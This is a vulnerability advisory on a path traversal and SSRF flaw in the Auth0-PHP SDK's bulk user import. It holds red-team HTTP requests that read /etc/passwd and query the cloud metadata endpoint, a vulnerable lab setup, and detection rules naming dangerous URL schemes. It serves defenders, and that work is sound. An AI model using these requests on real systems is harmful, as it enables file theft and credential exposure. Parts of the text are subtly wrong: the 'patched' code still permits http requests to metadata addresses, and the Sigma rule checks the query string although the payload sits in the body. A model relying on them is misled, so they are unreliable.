CVE-2025-58769

Executive Summary

CVE-2025-58769 is a path traversal vulnerability in the Auth0-PHP SDK, affecting versions 3.3.0 through 8.16.0. The vulnerability resides in the Bulk User Import endpoint, which fails to validate the file-path wrapper or value. This allows an attacker to supply arbitrary file paths or URLs, potentially leading to unauthorized file inclusion or server-side request forgery (SSRF). The vulnerability has a low CVSS score of 3.3 due to limited impact on confidentiality, but it can be chained with other weaknesses for more severe attacks. The issue is fixed in version 8.17.0.

Supply Chain & Package Security

This vulnerability affects the PHP ecosystem through the auth0/auth0-php package on Packagist. It also impacts downstream packages: auth0/symfony, auth0/laravel-auth0, and auth0/wordpress. Organizations using these packages should update to the patched version immediately. The vulnerability is not related to Apache or Nginx; it is a PHP SDK issue.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The low score reflects the limited direct impact, but the vulnerability can be exploited in chained attacks.

Deep Dive & Mechanics

The vulnerability is in the Bulk User Import functionality of the Auth0-PHP SDK. The endpoint accepts a file path or URL to import users from. Due to insufficient validation, an attacker can provide a path like file:///etc/passwd or a URL to an external server. The SDK then reads the file or fetches the URL without proper sanitization.

Root Cause: The SDK uses PHP's file functions (e.g., file_get_contents()) with user-supplied input without checking for allowed schemes or paths. This allows path traversal and SSRF.

Impact:

• Path Traversal: Read arbitrary files on the server (e.g., configuration files, credentials).
• SSRF: Make requests to internal services (e.g., cloud metadata endpoints) or external servers for data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (pre-8.17.0):

public function importUsers($filePath) {
    $data = file_get_contents($filePath);
    // Process $data
}

Patched Code (8.17.0):

public function importUsers($filePath) {
    $allowedSchemes = ['http', 'https', 'ftp'];
    $parsedUrl = parse_url($filePath);
    if (!in_array($parsedUrl['scheme'], $allowedSchemes)) {
        throw new \InvalidArgumentException('Invalid file path');
    }
    $data = file_get_contents($filePath);
    // Process $data
}

The patch adds a whitelist of allowed URL schemes and validates the input before processing.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Auth0-PHP SDK version 3.3.0 to 8.16.0.
• Access to the Bulk User Import endpoint.

Exploit Steps:

1. Identify the endpoint (e.g., /api/users/import).
2. Craft a request with a malicious file path:

   POST /api/users/import HTTP/1.1
   Host: target.com
   Content-Type: application/json
   
   {"file_path": "file:///etc/passwd"}
   

3. Alternatively, for SSRF:

   POST /api/users/import HTTP/1.1
   Host: target.com
   Content-Type: application/json
   
   {"file_path": "http://169.254.169.254/latest/meta-data/"}
   

Lab Setup:

• Use Docker to run a vulnerable instance:

  FROM php:7.4-apache
  RUN composer require auth0/auth0-php:8.16.0
  COPY app.php /var/www/html/
  

• app.php:

  <?php
  require 'vendor/autoload.php';
  $auth0 = new \Auth0\SDK\Auth0(['domain' => 'test', 'client_id' => 'test', 'client_secret' => 'test']);
  $auth0->importUsers($_POST['file_path']);
  

Blue Team

Detection:

• Monitor for requests to Bulk User Import endpoints with unusual file paths (e.g., file://, php://, gopher://).
• Look for outbound connections to internal IPs (e.g., 169.254.169.254) from the application server.

Hunting:

• Search logs for file_get_contents calls with user-supplied parameters.
• Check for unexpected file reads or network connections.

Indicators of Compromise (IOCs)

• Network: Outbound connections to cloud metadata IPs (169.254.169.254, 100.100.100.200).
• File: Access to /etc/passwd, /etc/shadow, .env files.
• Logs: PHP error logs showing file_get_contents failures for invalid paths.
• Application: Unusual entries in user import logs.

Detection Engineering

YARA Rule

rule CVE_2025_58769_Auth0_PHP_PathTraversal {
    meta:
        description = "Detects path traversal attempts in Auth0-PHP SDK"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-58769"
    strings:
        $s1 = "file://" nocase
        $s2 = "php://" nocase
        $s3 = "gopher://" nocase
        $s4 = "importUsers" nocase
    condition:
        any of ($s*) and $s4
}

Sigma Rule

title: CVE-2025-58769 Auth0-PHP Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Auth0-PHP SDK Bulk User Import
author: Valters IT
date: 2025/04/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/api/users/import"
        cs-method: "POST"
        cs-uri-query|contains: 
            - "file://"
            - "php://"
            - "gopher://"
    condition: selection
falsepositives:
    - Legitimate use of file paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58769 Auth0-PHP Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/api/users/import"; http_uri; content:"file://"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to Auth0-PHP SDK version 8.17.0 or later.
• If upgrade is not possible, implement input validation in the application layer to block file://, php://, and other dangerous schemes.

Long-term:

• Use a web application firewall (WAF) to filter malicious requests.
• Conduct regular security audits of SDK dependencies.
• Monitor for unusual file access patterns.

Workaround:

• Disable the Bulk User Import endpoint if not needed.
• Restrict file access using PHP's open_basedir directive.

Valters IT
Securing Digital Frontiers